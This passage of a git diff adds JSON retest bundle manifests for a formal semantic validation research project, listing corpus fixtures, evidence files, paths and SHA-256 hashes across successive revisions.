"docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "34.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v33.json", + "snapshot_sha256": "f2febd3bf508e12603c5e9b2ad963eea42e2adbf927396d90d890f48ca8711f8" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v34.json b/docs/research/formal-semantic-validation/bundles/retest-v34.json new file mode 100644 index 000000000..2d10c395c --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v34.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v34.json", + "analysis_sha256": "01ebaded18bd8f9a9c0472806ad208b384b25d76aa98fd05948bd531160ad2b3", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "35.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v34.json", + "snapshot_sha256": "5e29d8a6a344c6aa7e3f939fbe06180c948668bcbb2135fb4d4cc1150ea989fc" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v35.json b/docs/research/formal-semantic-validation/bundles/retest-v35.json new file mode 100644 index 000000000..9409935e4 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v35.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v35.json", + "analysis_sha256": "27afa1f44d39dba84504bf9ca6f3892a3c45837382a0a06b877dd05d18f10d4b", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "36.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v35.json", + "snapshot_sha256": "2b9762d912970e2a150eecde8c714b96dd0f92662aafc3eba3752b4c5692bb8e" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v36.json b/docs/research/formal-semantic-validation/bundles/retest-v36.json new file mode 100644 index 000000000..10f67eef0 --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v36.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v36.json", + "analysis_sha256": "72603c5728155bd11c9f8c7b7135cb8e7425891ae6582bf645fc48de333e55ea", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "37.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v36.json", + "snapshot_sha256": "b800627a801433a6d9592a4bbbfc19fc3de2101f3becd7eda4112f2ec32c113d" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v37.json b/docs/research/formal-semantic-validation/bundles/retest-v37.json new file mode 100644 index 000000000..02755064b --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v37.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v37.json", + "analysis_sha256": "d69c6ef5d502ae3a0309459c096e306c15d0d494f2263b7b68444731ddd1a9da", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": "653cbd2fd62e220d49fb86f80133884207df5ae6752846345ae3085b93f6e4ed" + }, + { + "artifact_id": "semantic-feature-cycle-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml", + "sha256": "e1f66d95a9ad039687aec8cccbc8843b514072ff08e006c1b4ca6aa5cd8d4ed1" + }, + { + "artifact_id": "workflow-reachable-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "sha256": "54c40ceb98ad47247447d737973b2c55e8fb2045e209c7545c4fb20cf42dc3dc" + }, + { + "artifact_id": "workflow-unreachable-step-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "sha256": "ef22ef2e260f1a7fd92d286f9b571716436b192ddfd54aea7bdfcfdda4ca52a2" + }, + { + "artifact_id": "compile-repeatability-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "sha256": "0bc40900d598c1af7a405d798ca19710405e53ced262d8733081abf12edf89fe" + }, + { + "artifact_id": "compile-non-vacuity-control-comparison-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml", + "sha256": "d85338f89f20a45515b12da8640173c1a52e47eb17ca0f4f6b4f8f3306e863a1" + } + ], + "bundle_id": "raes-formal-semantic-validation", + "corpus_path": "docs/research/formal-semantic-validation/corpus/manifest-v3.json", + "corpus_sha256": "ec7d893638a5a45a0d417a98255d52bc402bdc69d6d27597af0e04b5e1c6cae3", + "protocol_path": "docs/research/formal-semantic-validation/protocol-v2.json", + "protocol_sha256": "abf94093e344bf495dfb04e8b0c5985c0beaab8ebb17a75e15c8674fa81b1a7c", + "revision": "38.0.0", + "snapshot_path": "docs/research/formal-semantic-validation/execution-snapshot-v37.json", + "snapshot_sha256": "3635893c3f5462486c6969718316950179cb5e29d79eea0fc7364b857bf9e8fd" +} diff --git a/docs/research/formal-semantic-validation/bundles/retest-v38.json b/docs/research/formal-semantic-validation/bundles/retest-v38.json new file mode 100644 index 000000000..78b96798e --- /dev/null +++ b/docs/research/formal-semantic-validation/bundles/retest-v38.json @@ -0,0 +1,122 @@ +{ + "analysis_path": "docs/research/formal-semantic-validation/analysis-v38.json", + "analysis_sha256": "1d1a8c3c60417bfa7fbfd15013d063c2dabb17c398663eef53d01cc1a949e7f8", + "artifacts": [ + { + "artifact_id": "finite-domain-satisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "sha256": "0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "artifact_id": "finite-domain-satisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "sha256": "cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "artifact_id": "finite-domain-unsatisfiable-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "sha256": "0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "artifact_id": "typed-exploit-path-valid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-input", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "sha256": "0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + }, + { + "artifact_id": "typed-exploit-path-invalid-v2-evidence", + "kind": "production-evidence", + "path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533" + }, + { + "artifact_id": "schema-valid-control-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml", + "sha256": "41a9adffdf9f5f2ccc2f887dcf7b15fba3b47c83a1af15f33db872c4a2449d67" + }, + { + "artifact_id": "schema-unknown-field-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml", + "sha256": "51cf62319a86c95a2517995939d1f370573051835e4b55bb6d5beaf049640481" + }, + { + "artifact_id": "semantic-resolved-objective-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml", + "sha256": "a074d75b1b420a47a740703deaff45c20ec1c5d846f660412929bc69ab0efb19" + }, + { + "artifact_id": "semantic-dangling-assertion-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml", + "sha256": "ebdb18e5a5288189daccdc5111b5915d2f0d40a3eef1f5dee6428c1c1d719ff9" + }, + { + "artifact_id": "semantic-ambiguous-reference-fixture", + "kind": "corpus-input", + "path": "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml", + "sha256": 